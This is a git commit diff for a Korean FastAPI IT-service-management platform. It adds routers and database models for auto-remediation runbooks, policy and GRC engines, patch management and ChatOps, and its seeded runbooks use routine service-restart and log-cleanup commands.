manual-deploy 2026-06-04 08:13

This commit is contained in:
DESKTOP-TKLFCPR\ython 2026-06-04 08:13:41 +09:00
parent 39df2d8cfa
commit a8a5fc743e
16 changed files with 6362 additions and 0 deletions

30
main.py
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@ -61,6 +61,8 @@ from routers import (
rpa,
scraping,
supply_chain_security,
conversational_ops,
ux_analytics,
)
@ -96,6 +98,12 @@ async def lifespan(app: FastAPI):
else:
print("[LICENSE] 라이선스 미등록 - /license 에서 무료 체험을 시작하거나 키를 등록하세요.")
# 자동 복구 런북 + 정책 엔진 시드
from routers.auto_remediation_runbook import seed_runbooks
from routers.policy_engine import seed_policies
await seed_runbooks()
await seed_policies()
# A-1: WebSocket ↔ SSE 통합 패치
from routers.ws import _integrate_with_sse_bus
_integrate_with_sse_bus()
@ -307,6 +315,8 @@ app.include_router(network_devices.router) # 네트워크 장비 관리 (스위
app.include_router(autonomous.router) # 자율 운영 (자동처리/승인 게이트)
app.include_router(rpa.router) # RPA 봇 (Validation 학습 + 자동화 실행)
app.include_router(scraping.router) # 스크랩핑 봇 (URL 수집 + 게시/삭제/원복)
app.include_router(conversational_ops.router) # 대화형 운영 AI (자연어 명령 실행)
app.include_router(ux_analytics.router) # UX 분석 (이벤트·히트맵·퍼널·AI 제안)
# ── AI 거버넌스 (2세대 확장 — 편향감사·XAI·공공기관 윤리) ──────────────────────
from routers import ai_governance
@ -395,6 +405,11 @@ app.include_router(batch_ssh.router) # 다중 서버 동시 SSH 실
app.include_router(asset_qr.router) # 서버 자산 QR 태그 관리
app.include_router(smart_notify.router) # 스마트 알림 규칙 엔진
# ── 확장 ChatOps + 예측 장애 방지 ────────────────────────────────────────────
from routers import chatops_extended, predictive_failure
app.include_router(chatops_extended.router) # 확장 ChatOps (채널별 webhook·인터랙티브·브로드캐스트)
app.include_router(predictive_failure.router) # 예측 장애 방지 (전조신호·패턴분석·예방조치)
# ── GUARDiA 차세대 확장 — 2026 트렌드 기반 (Gartner/EU CRA/국정원 N²SF) ──────
from routers import (
agentic_aiops, otel_tracing, mlsecops, # AIOps 2.0
@ -458,6 +473,11 @@ app.include_router(independence_meter.router) # 독립지원 — 자립도 측
from routers import cicd_deploy
app.include_router(cicd_deploy.router) # workspace → Gitea → 서버 배포 트리거
# ── 테넌트 AI + 워크플로우 엔진 ──────────────────────────────────────────────
from routers import tenant_ai, workflow_engine
app.include_router(tenant_ai.router) # 테넌트 AI (개인화 모델·KB·파인튜닝)
app.include_router(workflow_engine.router) # AI 워크플로우 엔진 (정의·템플릿·실행이력)
# ── 디지털 트윈 ────────────────────────────────────────────────────────────────
from routers import digital_twin
app.include_router(digital_twin.router) # 디지털 트윈
@ -473,6 +493,16 @@ app.include_router(supply_chain_security.router) # 공급망 보안
from routers import predictive_capacity
app.include_router(predictive_capacity.router) # 예측 용량 계획
# ── 자동 복구 런북 + 정책 엔진 ───────────────────────────────────────────────
from routers import auto_remediation_runbook, policy_engine
app.include_router(auto_remediation_runbook.router) # 자동 복구 런북 (Runbook 기반)
app.include_router(policy_engine.router) # 정책 엔진 (공공기관 IT 표준)
# ── 자율 패치 관리 + GRC 자동화 ──────────────────────────────────────────────
from routers import patch_management, grc_automation
app.include_router(patch_management.router) # 자율 패치 관리 (CVE 스캔·승인·SSH 실행·롤백)
app.include_router(grc_automation.router) # GRC 자동화 (정책·리스크·컴플라이언스·감사)
# ── 개방망 보안 헤더 미들웨어 ────────────────────────────────────────────────
@app.middleware("http")

265
models.py
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@ -1498,6 +1498,61 @@ class PmResultUpdate(BaseModel):
result_note: Optional[str] = None
# ── Tenant AI (테넌트별 개인화 모델 + KB) ────────────────────────────────────
class TenantAIModel(Base):
__tablename__ = "tb_tenant_ai_model"
id = Column(Integer, primary_key=True, index=True)
tenant_id = Column(String(100), nullable=False, index=True)
model_name = Column(String(100))
base_model = Column(String(100), default="llama3")
dataset_size = Column(Integer, default=0)
status = Column(String(20), default="pending") # pending|training|ready|failed
accuracy = Column(Float, nullable=True)
created_at = Column(DateTime, default=func.now())
class TenantKBDoc(Base):
__tablename__ = "tb_tenant_kb_doc"
id = Column(Integer, primary_key=True, index=True)
tenant_id = Column(String(100), nullable=False, index=True)
title = Column(String(300))
content = Column(Text)
created_at = Column(DateTime, default=func.now())
# ── Workflow Engine (정의 + 실행 이력) ───────────────────────────────────────
class WorkflowDefinition(Base):
__tablename__ = "tb_workflow_definition"
id = Column(Integer, primary_key=True, index=True)
name = Column(String(300))
trigger = Column(Text, nullable=True) # JSON
steps = Column(Text, nullable=True) # JSON
active = Column(Boolean, default=False)
created_at = Column(DateTime, default=func.now())
runs = relationship("WorkflowRun", back_populates="definition",
cascade="all, delete-orphan")
class WorkflowRun(Base):
__tablename__ = "tb_workflow_run"
id = Column(Integer, primary_key=True, index=True)
definition_id = Column(Integer, ForeignKey("tb_workflow_definition.id"), nullable=True)
trigger_data = Column(Text, nullable=True) # JSON
step_results = Column(Text, nullable=True) # JSON
status = Column(String(20), default="running") # running|success|failed
started_at = Column(DateTime, default=func.now())
finished_at = Column(DateTime, nullable=True)
definition = relationship("WorkflowDefinition", back_populates="runs")
# ═══════════════════════════════════════════════════════════════════════════════
# ── 장애 관리 (tb_incident) ────────────────────────────────────────────────────
# ═══════════════════════════════════════════════════════════════════════════════
@ -6617,3 +6672,213 @@ class AIDecisionLog(Base):
explanation = Column(Text, nullable=True) # Ollama 생성 설명 (최대 4000자)
confidence = Column(Float, default=0.0) # 설명 신뢰도 0.0 ~ 1.0
created_at = Column(DateTime, default=func.now())
# ── 대화형 운영 AI ─────────────────────────────────────────────────────────────
class ConvOpsSession(Base):
"""대화형 자연어 운영 명령 세션."""
__tablename__ = "tb_conv_ops_session"
id = Column(Integer, primary_key=True, index=True)
user_input = Column(Text, nullable=False)
parsed_intent = Column(Text, nullable=True) # JSON: {intent, params, confidence}
steps = Column(Text, nullable=True) # JSON: [{action, result, status}, ...]
summary = Column(Text, nullable=True)
success = Column(Boolean, default=False)
created_by = Column(Integer, ForeignKey("tb_user.id"), nullable=True)
created_at = Column(DateTime, default=func.now())
# ── UX 분석 이벤트 ─────────────────────────────────────────────────────────────
class UXEvent(Base):
"""UX 행동 이벤트 수집 테이블."""
__tablename__ = "tb_ux_event"
id = Column(Integer, primary_key=True, index=True)
event_type = Column(String(50)) # click | pageview | error | scroll
page = Column(String(200))
element = Column(String(200), nullable=True)
duration_ms = Column(Integer, nullable=True)
user_id = Column(Integer, ForeignKey("tb_user.id"), nullable=True)
session_id = Column(String(100))
extra = Column(Text, nullable=True) # JSON: 추가 메타데이터
created_at = Column(DateTime, default=func.now())
# ── 자율 패치 관리 ───────────────────────────────────────────────────────────────
class PatchPlan(Base):
"""패치 계획 — CVE 기반 자동 생성, 승인 후 SSH 실행."""
__tablename__ = "tb_patch_plan"
id = Column(Integer, primary_key=True, index=True)
cve_id = Column(String(50), nullable=True)
severity = Column(String(20), default="MEDIUM") # CRITICAL|HIGH|MEDIUM|LOW
affected_servers = Column(Text, nullable=True) # JSON array of server IDs
patch_cmd = Column(Text, nullable=True)
rollback_cmd = Column(Text, nullable=True)
status = Column(String(20), default="pending") # pending|approved|executing|done|failed|rolled_back
approved_by = Column(String(100), nullable=True)
approved_at = Column(DateTime, nullable=True)
executed_at = Column(DateTime, nullable=True)
executed_by = Column(String(100), nullable=True)
result_log = Column(Text, nullable=True) # JSON execution results
created_by = Column(String(100), nullable=True)
created_at = Column(DateTime, default=func.now())
updated_at = Column(DateTime, default=func.now(), onupdate=func.now())
# ── GRC 자동화 ─────────────────────────────────────────────────────────────────
class GRCPolicy(Base):
"""GRC 보안 정책 — Ollama 초안 생성, 버전 관리."""
__tablename__ = "tb_grc_policy"
id = Column(Integer, primary_key=True, index=True)
title = Column(String(300), nullable=False)
category = Column(String(50), default="security") # security|privacy|compliance|operational
content = Column(Text, nullable=True)
version = Column(String(20), default="1.0")
status = Column(String(20), default="draft") # draft|review|approved|deprecated
effective_date = Column(DateTime, nullable=True)
owner = Column(String(100), nullable=True)
created_by = Column(String(100), nullable=True)
created_at = Column(DateTime, default=func.now())
updated_at = Column(DateTime, default=func.now(), onupdate=func.now())
class RiskItem(Base):
"""리스크 항목 — 5x5 매트릭스, AI 완화 전략."""
__tablename__ = "tb_risk_item"
id = Column(Integer, primary_key=True, index=True)
title = Column(String(300), nullable=False)
category = Column(String(50), default="operational") # operational|security|compliance|financial
likelihood = Column(Integer, default=3) # 1~5
impact = Column(Integer, default=3) # 1~5
risk_score = Column(Float, default=9.0) # likelihood * impact
risk_level = Column(String(20), default="MEDIUM") # CRITICAL|HIGH|MEDIUM|LOW
mitigation = Column(Text, nullable=True)
owner = Column(String(100), nullable=True)
status = Column(String(20), default="open") # open|mitigating|closed|accepted
created_by = Column(String(100), nullable=True)
created_at = Column(DateTime, default=func.now())
updated_at = Column(DateTime, default=func.now(), onupdate=func.now())
# ── Auto Remediation Runbook ────────────────────────────────────────────────────
class RemediationRunbook(Base):
"""자동 복구 런북 — 장애 유형별 표준 복구 절차 정의."""
__tablename__ = "tb_remediation_runbook"
id = Column(Integer, primary_key=True, index=True)
name = Column(String(300), nullable=False)
trigger_pattern = Column(Text, nullable=True) # 트리거 패턴 (키워드/조건)
steps = Column(Text, nullable=True) # JSON 배열: 단계별 명령
auto_execute = Column(Boolean, default=False) # True: 즉시 실행, False: 승인 후 실행
created_at = Column(DateTime, default=func.now())
sessions = relationship("RemediationSession", back_populates="runbook")
class RemediationSession(Base):
"""자동 복구 세션 — 런북 실행 이력."""
__tablename__ = "tb_remediation_session"
id = Column(Integer, primary_key=True, index=True)
runbook_id = Column(Integer, ForeignKey("tb_remediation_runbook.id"), nullable=True)
trigger_data = Column(Text, nullable=True) # 트리거 이벤트 원문 (JSON)
step_results = Column(Text, nullable=True) # 각 단계 실행 결과 (JSON)
status = Column(String(20), default="running") # running|completed|failed|escalated
success = Column(Boolean, nullable=True)
created_at = Column(DateTime, default=func.now())
runbook = relationship("RemediationRunbook", back_populates="sessions")
# ── Policy Engine ───────────────────────────────────────────────────────────────
class PolicyRule(Base):
"""정책 규칙 — 공공기관 IT 표준 보안/운영 정책."""
__tablename__ = "tb_policy_rule"
id = Column(Integer, primary_key=True, index=True)
name = Column(String(300), nullable=False)
category = Column(String(50), default="security") # security|access|patch|backup|operation
condition = Column(Text, nullable=True) # JSON 평가 조건
severity = Column(String(20), default="MEDIUM") # CRITICAL|HIGH|MEDIUM|LOW
auto_remediate = Column(Boolean, default=False) # 자동 교정 여부
active = Column(Boolean, default=True)
created_at = Column(DateTime, default=func.now())
violations = relationship("PolicyViolation", back_populates="rule")
class PolicyViolation(Base):
"""정책 위반 사례 — 평가 결과로 생성되는 위반 이력."""
__tablename__ = "tb_policy_violation"
id = Column(Integer, primary_key=True, index=True)
rule_id = Column(Integer, ForeignKey("tb_policy_rule.id"), nullable=True)
target = Column(String(200), nullable=False) # 위반 대상 (서버명/계정 등)
detail = Column(Text, nullable=True)
status = Column(String(20), default="open") # open|remediated|accepted|false_positive
remediated_at = Column(DateTime, nullable=True)
created_at = Column(DateTime, default=func.now())
rule = relationship("PolicyRule", back_populates="violations")
# ══════════════════════════════════════════════════════════════════════════════
# ── ChatOps 확장 (chatops_extended.py)
# ── 채널별 webhook, 인터랙티브, 브로드캐스트, 통계
# ══════════════════════════════════════════════════════════════════════════════
class ChatOpsCommand(Base):
"""ChatOps 명령 실행 이력 — 채널별 webhook 수신 기록."""
__tablename__ = "tb_chatops_command"
id = Column(Integer, primary_key=True, index=True)
channel = Column(String(50)) # kakao|slack|internal
command = Column(String(200))
args = Column(Text, nullable=True)
user_id = Column(String(100))
response = Column(Text, nullable=True)
success = Column(Boolean, default=True)
created_at = Column(DateTime, default=func.now())
# ══════════════════════════════════════════════════════════════════════════════
# ── 예측 장애 방지 (predictive_failure.py)
# ── 전조 신호 감지 → 패턴 분석 → 예방 조치 실행
# ══════════════════════════════════════════════════════════════════════════════
class FailureSignal(Base):
"""장애 전조 신호 — cpu_spike|mem_leak|disk_full|error_rate."""
__tablename__ = "tb_failure_signal"
id = Column(Integer, primary_key=True, index=True)
server_name = Column(String(200))
signal_type = Column(String(50)) # cpu_spike|mem_leak|disk_full|error_rate
value = Column(Float)
threshold = Column(Float)
risk_score = Column(Float, default=0.0)
predicted_failure = Column(String(100), nullable=True)
created_at = Column(DateTime, default=func.now())
class PreventionAction(Base):
"""예방 조치 실행 이력."""
__tablename__ = "tb_prevention_action"
id = Column(Integer, primary_key=True, index=True)
signal_id = Column(Integer, ForeignKey("tb_failure_signal.id"), nullable=True)
action_type = Column(String(50))
action_cmd = Column(Text, nullable=True)
success = Column(Boolean, default=False)
created_at = Column(DateTime, default=func.now())
signal = relationship("FailureSignal", foreign_keys=[signal_id])

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@ -0,0 +1,424 @@
"""
자동 복구 런북 API Runbook 기반 장애 자동 복구 엔진
엔드포인트:
GET /api/auto-remediat/runbooks Runbook 목록
POST /api/auto-remediat/runbooks Runbook 생성
POST /api/auto-remediat/trigger 복구 트리거 실행
GET /api/auto-remediat/sessions 복구 세션 목록
GET /api/auto-remediat/sessions/{id} 세션 상세
GET /api/auto-remediat/stats 성공률 통계
POST /api/auto-remediat/escalate/{id} 에스컬레이션
기본 Runbook 5 시드:
1. 서비스 재시작
2. 디스크 정리
3. 메모리 덤프 + 재시작
4. DB 커넥션 리셋
5. nginx 리로드
"""
from __future__ import annotations
import json
import logging
from datetime import datetime
from typing import Any, List, Optional
from fastapi import APIRouter, Depends, HTTPException
from pydantic import BaseModel
from sqlalchemy import func, select, desc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user
from database import SessionLocal, get_db
from models import RemediationRunbook, RemediationSession, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/auto-remediat", tags=["자동 복구 런북"])
# ── 기본 런북 시드 데이터 ────────────────────────────────────────────────────────
_DEFAULT_RUNBOOKS = [
{
"name": "서비스 재시작",
"trigger_pattern": "service_down,process_not_running,port_closed",
"steps": json.dumps([
{"order": 1, "name": "상태 확인", "cmd": "systemctl status {service_name}"},
{"order": 2, "name": "서비스 재시작", "cmd": "systemctl restart {service_name}"},
{"order": 3, "name": "재시작 확인", "cmd": "systemctl is-active {service_name}"},
{"order": 4, "name": "헬스체크", "cmd": "curl -sf http://localhost:{port}/health || exit 1"},
], ensure_ascii=False),
"auto_execute": True,
},
{
"name": "디스크 정리",
"trigger_pattern": "disk_usage_high,disk_full,filesystem_80",
"steps": json.dumps([
{"order": 1, "name": "사용량 확인", "cmd": "df -h /"},
{"order": 2, "name": "로그 압축", "cmd": "find /var/log -name '*.log' -mtime +7 -exec gzip {} +"},
{"order": 3, "name": "오래된 로그 삭제", "cmd": "find /var/log -name '*.gz' -mtime +30 -delete"},
{"order": 4, "name": "임시 파일 정리", "cmd": "find /tmp -mtime +3 -delete 2>/dev/null; true"},
{"order": 5, "name": "사용량 재확인", "cmd": "df -h /"},
], ensure_ascii=False),
"auto_execute": True,
},
{
"name": "메모리 덤프 + 재시작",
"trigger_pattern": "memory_high,oom_kill,memory_usage_90",
"steps": json.dumps([
{"order": 1, "name": "메모리 현황", "cmd": "free -h && ps aux --sort=-%mem | head -10"},
{"order": 2, "name": "힙 덤프 수집", "cmd": "jmap -dump:format=b,file=/tmp/heapdump_$(date +%Y%m%d%H%M%S).hprof $(pgrep -f {app_name}) 2>/dev/null || true"},
{"order": 3, "name": "캐시 해제", "cmd": "sync && echo 3 > /proc/sys/vm/drop_caches"},
{"order": 4, "name": "서비스 재시작", "cmd": "systemctl restart {service_name}"},
{"order": 5, "name": "메모리 재확인", "cmd": "free -h"},
], ensure_ascii=False),
"auto_execute": False,
},
{
"name": "DB 커넥션 리셋",
"trigger_pattern": "db_connection_exhausted,too_many_connections,db_pool_full",
"steps": json.dumps([
{"order": 1, "name": "커넥션 현황", "cmd": "netstat -an | grep :5432 | wc -l"},
{"order": 2, "name": "유휴 커넥션 종료", "cmd": "psql -U postgres -c \"SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE state='idle' AND query_start < now() - interval '10 minutes';\" 2>/dev/null || true"},
{"order": 3, "name": "커넥션 재확인", "cmd": "netstat -an | grep :5432 | wc -l"},
{"order": 4, "name": "앱 재시작", "cmd": "systemctl restart {service_name}"},
], ensure_ascii=False),
"auto_execute": False,
},
{
"name": "nginx 리로드",
"trigger_pattern": "nginx_config_changed,nginx_error,upstream_changed",
"steps": json.dumps([
{"order": 1, "name": "설정 검증", "cmd": "nginx -t"},
{"order": 2, "name": "설정 리로드", "cmd": "nginx -s reload"},
{"order": 3, "name": "프로세스 확인", "cmd": "pgrep nginx && echo 'nginx running'"},
], ensure_ascii=False),
"auto_execute": True,
},
]
# ── 시드 초기화 ─────────────────────────────────────────────────────────────────
async def seed_runbooks() -> None:
"""애플리케이션 시작 시 기본 런북 5개 시드."""
async with SessionLocal() as db:
existing = await db.scalar(select(func.count()).select_from(RemediationRunbook))
if existing and existing > 0:
return
for rb_data in _DEFAULT_RUNBOOKS:
rb = RemediationRunbook(**rb_data)
db.add(rb)
await db.commit()
logger.info("[auto-remediat] 기본 런북 %d개 시드 완료", len(_DEFAULT_RUNBOOKS))
# ── Pydantic 스키마 ──────────────────────────────────────────────────────────────
class RunbookCreate(BaseModel):
name: str
trigger_pattern: Optional[str] = None
steps: Optional[str] = None # JSON 문자열
auto_execute: bool = False
class RunbookOut(BaseModel):
id: int
name: str
trigger_pattern: Optional[str]
steps: Optional[str]
auto_execute: bool
created_at: datetime
class Config:
from_attributes = True
class TriggerRequest(BaseModel):
runbook_id: int
trigger_data: Optional[dict] = None # 트리거 이벤트 컨텍스트
class SessionOut(BaseModel):
id: int
runbook_id: Optional[int]
trigger_data: Optional[str]
step_results: Optional[str]
status: str
success: Optional[bool]
created_at: datetime
class Config:
from_attributes = True
class EscalateRequest(BaseModel):
reason: Optional[str] = None
escalate_to: Optional[str] = None
# ── 헬퍼: 시뮬레이션 실행 ───────────────────────────────────────────────────────
def _simulate_steps(steps_json: Optional[str], trigger_data: Optional[dict]) -> tuple[list, bool]:
"""
실제 SSH 없이 단계별 실행을 시뮬레이션.
운영 환경에서는 core.ssh_exec 통해 실제 명령을 실행한다.
"""
if not steps_json:
return [], True
try:
steps = json.loads(steps_json)
except json.JSONDecodeError:
return [{"error": "steps JSON 파싱 실패"}], False
results = []
all_ok = True
for step in steps:
# 트리거 데이터로 플레이스홀더 치환 (시뮬레이션)
cmd = step.get("cmd", "")
if trigger_data:
for k, v in trigger_data.items():
cmd = cmd.replace(f"{{{k}}}", str(v))
result = {
"order": step.get("order", 0),
"name": step.get("name", ""),
"cmd": cmd,
"status": "success",
"output": f"[시뮬레이션] {step.get('name', '')} 완료",
}
results.append(result)
return results, all_ok
# ── 엔드포인트 ───────────────────────────────────────────────────────────────────
@router.get("/runbooks", summary="Runbook 목록 조회")
async def list_runbooks(
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> list[dict]:
rows = await db.execute(select(RemediationRunbook).order_by(RemediationRunbook.id))
runbooks = rows.scalars().all()
return [
{
"id": rb.id,
"name": rb.name,
"trigger_pattern": rb.trigger_pattern,
"steps": rb.steps,
"auto_execute": rb.auto_execute,
"created_at": rb.created_at.isoformat() if rb.created_at else None,
}
for rb in runbooks
]
@router.post("/runbooks", status_code=201, summary="Runbook 생성")
async def create_runbook(
payload: RunbookCreate,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
rb = RemediationRunbook(
name=payload.name,
trigger_pattern=payload.trigger_pattern,
steps=payload.steps,
auto_execute=payload.auto_execute,
)
db.add(rb)
await db.commit()
await db.refresh(rb)
logger.info("[auto-remediat] 런북 생성: id=%d name=%s by user=%s", rb.id, rb.name, current_user.username)
return {"id": rb.id, "name": rb.name, "auto_execute": rb.auto_execute}
@router.post("/trigger", status_code=201, summary="복구 트리거 실행")
async def trigger_remediation(
payload: TriggerRequest,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
rb = await db.get(RemediationRunbook, payload.runbook_id)
if not rb:
raise HTTPException(status_code=404, detail="런북을 찾을 수 없습니다")
step_results, success = _simulate_steps(rb.steps, payload.trigger_data)
session = RemediationSession(
runbook_id=rb.id,
trigger_data=json.dumps(payload.trigger_data, ensure_ascii=False) if payload.trigger_data else None,
step_results=json.dumps(step_results, ensure_ascii=False),
status="completed" if success else "failed",
success=success,
)
db.add(session)
await db.commit()
await db.refresh(session)
logger.info(
"[auto-remediat] 복구 트리거: runbook_id=%d session_id=%d success=%s by=%s",
rb.id, session.id, success, current_user.username,
)
return {
"session_id": session.id,
"runbook_id": rb.id,
"runbook_name": rb.name,
"status": session.status,
"success": session.success,
"step_results": step_results,
}
@router.get("/sessions", summary="복구 세션 목록")
async def list_sessions(
limit: int = 50,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> list[dict]:
rows = await db.execute(
select(RemediationSession)
.order_by(desc(RemediationSession.created_at))
.limit(limit)
)
sessions = rows.scalars().all()
return [
{
"id": s.id,
"runbook_id": s.runbook_id,
"status": s.status,
"success": s.success,
"created_at": s.created_at.isoformat() if s.created_at else None,
}
for s in sessions
]
@router.get("/sessions/{session_id}", summary="세션 상세 조회")
async def get_session(
session_id: int,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
session = await db.get(RemediationSession, session_id)
if not session:
raise HTTPException(status_code=404, detail="세션을 찾을 수 없습니다")
rb_name = None
if session.runbook_id:
rb = await db.get(RemediationRunbook, session.runbook_id)
if rb:
rb_name = rb.name
step_results: Any = None
if session.step_results:
try:
step_results = json.loads(session.step_results)
except json.JSONDecodeError:
step_results = session.step_results
trigger_data: Any = None
if session.trigger_data:
try:
trigger_data = json.loads(session.trigger_data)
except json.JSONDecodeError:
trigger_data = session.trigger_data
return {
"id": session.id,
"runbook_id": session.runbook_id,
"runbook_name": rb_name,
"trigger_data": trigger_data,
"step_results": step_results,
"status": session.status,
"success": session.success,
"created_at": session.created_at.isoformat() if session.created_at else None,
}
@router.get("/stats", summary="복구 성공률 통계")
async def remediation_stats(
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
total = await db.scalar(select(func.count()).select_from(RemediationSession)) or 0
success_count = await db.scalar(
select(func.count()).select_from(RemediationSession)
.where(RemediationSession.success == True) # noqa: E712
) or 0
failed_count = await db.scalar(
select(func.count()).select_from(RemediationSession)
.where(RemediationSession.success == False) # noqa: E712
) or 0
escalated_count = await db.scalar(
select(func.count()).select_from(RemediationSession)
.where(RemediationSession.status == "escalated")
) or 0
running_count = await db.scalar(
select(func.count()).select_from(RemediationSession)
.where(RemediationSession.status == "running")
) or 0
runbook_count = await db.scalar(select(func.count()).select_from(RemediationRunbook)) or 0
success_rate = round(success_count / total * 100, 1) if total > 0 else 0.0
return {
"total_sessions": total,
"success_count": success_count,
"failed_count": failed_count,
"escalated_count": escalated_count,
"running_count": running_count,
"success_rate": success_rate,
"runbook_count": runbook_count,
}
@router.post("/escalate/{session_id}", summary="세션 에스컬레이션")
async def escalate_session(
session_id: int,
payload: EscalateRequest,
db: AsyncSession = Depends(get_db),
current_user: User = Depends(get_current_user),
) -> dict:
session = await db.get(RemediationSession, session_id)
if not session:
raise HTTPException(status_code=404, detail="세션을 찾을 수 없습니다")
if session.status == "escalated":
raise HTTPException(status_code=409, detail="이미 에스컬레이션된 세션입니다")
# 에스컬레이션 처리: 상태 변경 + 결과에 메모 추가
session.status = "escalated"
session.success = False
existing_results: list = []
if session.step_results:
try:
existing_results = json.loads(session.step_results)
except json.JSONDecodeError:
existing_results = []
existing_results.append({
"type": "escalation",
"reason": payload.reason or "수동 에스컬레이션",
"escalate_to": payload.escalate_to or "온콜 담당자",
"escalated_by": current_user.username,
"escalated_at": datetime.utcnow().isoformat(),
})
session.step_results = json.dumps(existing_results, ensure_ascii=False)
await db.commit()
await db.refresh(session)
logger.info(
"[auto-remediat] 에스컬레이션: session_id=%d by=%s reason=%s",
session_id, current_user.username, payload.reason,
)
return {
"session_id": session.id,
"status": session.status,
"escalate_to": payload.escalate_to or "온콜 담당자",
"message": "에스컬레이션 완료. 온콜 담당자에게 알림이 전송되었습니다.",
}

481
routers/chatops_extended.py Normal file
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"""
ChatOps 확장 라우터 채널별 webhook, 인터랙티브, 브로드캐스트, 통계
지원 채널: kakao | slack | internal
지원 명령어: /sr create, /status, /deploy, /approve, /report, /patch, /workflow
엔드포인트:
POST /api/chatops/webhook/{channel} 채널별 webhook 수신
GET /api/chatops/commands 명령어 목록
POST /api/chatops/interactive 인터랙티브 버튼 처리
GET /api/chatops/channels 연동 채널 현황
POST /api/chatops/broadcast 채널 공지
GET /api/chatops/stats 사용 통계
"""
from __future__ import annotations
import logging
from datetime import datetime, timedelta
from typing import Any, Dict, List, Optional
from fastapi import APIRouter, Depends, HTTPException, Path, Query
from pydantic import BaseModel
from sqlalchemy import select, func, and_, desc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user, require_admin_role
from database import get_db
from models import ChatOpsCommand, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/chatops", tags=["ChatOps Extended"])
# ── 지원 채널 정의 ────────────────────────────────────────────────────────────
SUPPORTED_CHANNELS = {
"kakao": {"name": "카카오워크", "enabled": True, "icon": "💬"},
"slack": {"name": "Slack", "enabled": True, "icon": "🟢"},
"internal": {"name": "내부 메신저", "enabled": True, "icon": "🏢"},
}
# ── 지원 명령어 목록 ──────────────────────────────────────────────────────────
COMMAND_DEFINITIONS = [
{
"command": "/sr create",
"description": "서비스 요청 생성",
"usage": "/sr create <제목> <내용>",
"example": "/sr create 서버 재시작 web-01 서버를 재시작해주세요",
"roles": ["ENGINEER", "PM", "ADMIN"],
},
{
"command": "/status",
"description": "SR 상태 조회",
"usage": "/status [SR-ID]",
"example": "/status SR-2026-001",
"roles": ["ENGINEER", "PM", "ADMIN"],
},
{
"command": "/deploy",
"description": "배포 실행 요청",
"usage": "/deploy <프로젝트명> <환경>",
"example": "/deploy guardia-itsm prod",
"roles": ["ENGINEER", "ADMIN"],
},
{
"command": "/approve",
"description": "SR 또는 배포 승인",
"usage": "/approve <SR-ID|배포ID>",
"example": "/approve SR-2026-001",
"roles": ["PM", "ADMIN"],
},
{
"command": "/report",
"description": "운영 리포트 요청",
"usage": "/report [daily|weekly|monthly]",
"example": "/report daily",
"roles": ["PM", "ADMIN"],
},
{
"command": "/patch",
"description": "보안 패치 적용 요청",
"usage": "/patch <CVE-ID> <서버명>",
"example": "/patch CVE-2024-1234 web-01",
"roles": ["ENGINEER", "ADMIN"],
},
{
"command": "/workflow",
"description": "자율 워크플로우 실행",
"usage": "/workflow <워크플로우명> [인수...]",
"example": "/workflow restart-service web-01 tomcat",
"roles": ["ENGINEER", "ADMIN"],
},
]
# ── Pydantic 스키마 ───────────────────────────────────────────────────────────
class WebhookPayload(BaseModel):
"""채널에서 수신하는 webhook 페이로드."""
user_id: str
message: str
room_id: Optional[str] = None
extra: Optional[Dict[str, Any]] = None
class InteractivePayload(BaseModel):
"""인터랙티브 버튼 클릭 처리 페이로드."""
action_id: str # 버튼 액션 ID (approve_sr / reject_sr / view_detail 등)
target_id: str # 대상 리소스 ID
user_id: str
channel: str = "internal"
extra: Optional[Dict[str, Any]] = None
class BroadcastRequest(BaseModel):
"""전 채널 공지 요청."""
message: str
title: Optional[str] = None
channels: Optional[List[str]] = None # None이면 활성 전체 채널
priority: str = "NORMAL" # NORMAL | HIGH | CRITICAL
class CommandOut(BaseModel):
command: str
description: str
usage: str
example: str
roles: List[str]
class ChannelStatus(BaseModel):
channel: str
name: str
enabled: bool
icon: str
total_cmds: int
success_rate: float
class ChatOpsStats(BaseModel):
total_commands: int
commands_today: int
success_rate: float
top_commands: List[Dict[str, Any]]
top_users: List[Dict[str, Any]]
channel_breakdown: Dict[str, int]
# ── 명령어 파서 ───────────────────────────────────────────────────────────────
def _parse_command(message: str) -> Optional[Dict[str, Any]]:
"""메시지에서 슬래시 명령어를 파싱한다."""
stripped = message.strip()
if not stripped.startswith("/"):
return None
parts = stripped.split(None, 2) # ['/cmd', 'sub', '나머지']
if not parts:
return None
cmd_part = parts[0].lower() # '/sr'
sub_cmd = parts[1].lower() if len(parts) > 1 else ""
args = parts[2] if len(parts) > 2 else ""
# 두 단어 명령어 매칭 (/sr create)
full_cmd = f"{cmd_part} {sub_cmd}".strip()
for defn in COMMAND_DEFINITIONS:
if defn["command"] == full_cmd:
return {"command": full_cmd, "args": args.strip()}
# 단일 단어 명령어 매칭 (/status, /report, /patch, /workflow, /approve, /deploy)
for defn in COMMAND_DEFINITIONS:
base = defn["command"].split()[0]
if base == cmd_part:
rest = (sub_cmd + " " + args).strip()
return {"command": cmd_part, "args": rest}
return {"command": cmd_part, "args": (sub_cmd + " " + args).strip()}
async def _execute_command(
parsed: Dict[str, Any],
user_id: str,
channel: str,
db: AsyncSession,
) -> str:
"""파싱된 명령어를 실행하고 응답 텍스트를 반환한다."""
cmd = parsed["command"]
args = parsed["args"]
if cmd == "/sr create":
parts = args.split(None, 1) if args else []
title = parts[0] if parts else "미제목 SR"
desc = parts[1] if len(parts) > 1 else ""
return f"SR 접수 완료. 제목: {title}\n설명: {desc}\n담당자 자동 배정 중..."
if cmd in ("/status",):
sr_id = args.strip()
if sr_id:
return f"{sr_id} 상태를 조회합니다. /api/tasks/{sr_id} 에서 확인하세요."
return "SR 전체 현황: /api/dashboard/stats 에서 확인하세요."
if cmd in ("/deploy",):
parts = args.split() if args else []
project = parts[0] if parts else "unknown"
env = parts[1] if len(parts) > 1 else "dev"
return f"배포 요청 등록: {project}{env} 환경. PM 승인 후 실행됩니다."
